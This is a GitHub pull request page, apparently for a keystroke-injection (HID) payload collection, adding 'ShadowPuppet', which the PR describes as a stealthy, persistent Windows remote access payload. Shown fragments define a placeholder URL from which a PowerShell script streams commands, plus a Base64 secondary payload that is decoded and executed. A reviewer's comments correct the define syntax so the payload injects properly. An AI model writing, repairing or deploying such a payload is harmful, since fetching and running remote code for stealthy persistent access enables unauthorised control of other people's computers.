-
Notifications
You must be signed in to change notification settings - Fork 1.5k
shaddow puppet #545
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
shaddow puppet #545
Conversation
ShadowPuppetAuthor: Coderace OverviewShadowPuppet is a stealthy HID-based remote access payload designed for Windows 10 and 11. How It Works
ConfigurationBefore use, set these variables according to your environment:
This approach leverages PowerShell's native capabilities and Windows internals to maintain stealthy, persistent, and flexible remote access, controlled entirely by remotely hosted scripts. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thank you for making the requested changes, I noticed this is a new PR spanning from PR 536. When this PR is approved the old duplicate will be closed.
DEFINE EXECUTE_PAYLOAD TRUE | ||
|
||
REM URL for the primary PowerShell payload to stream commands | ||
DEFINE REMOTE_PS_URL https://yourdomain.com/streamer/stream.ps1 |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I would include a #
before your define names to ensure they are injected correctly.
DEFINE #REMOTE_PS_URL https://yourdomain.com/streamer/stream.ps1
#REMOTE_PS_URL
This configuration ensures your define content is still injected even when the call is next to anther charter.
DELAY 100 | ||
|
||
REM Decode and execute secondary payload from Base64 URL | ||
STRINGLN $b64="SECONDARY_B64" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
As mentioned above, This will not inject correctly as there is no #
before SECONDARY_B64
and it is placed next to anther charter.
Changing your define to include a #
and replacing the call will correct this issue.
DEFINE #SECONDARY_B64 base64
STRINGLN $b64="#SECONDARY_B64"
No description provided.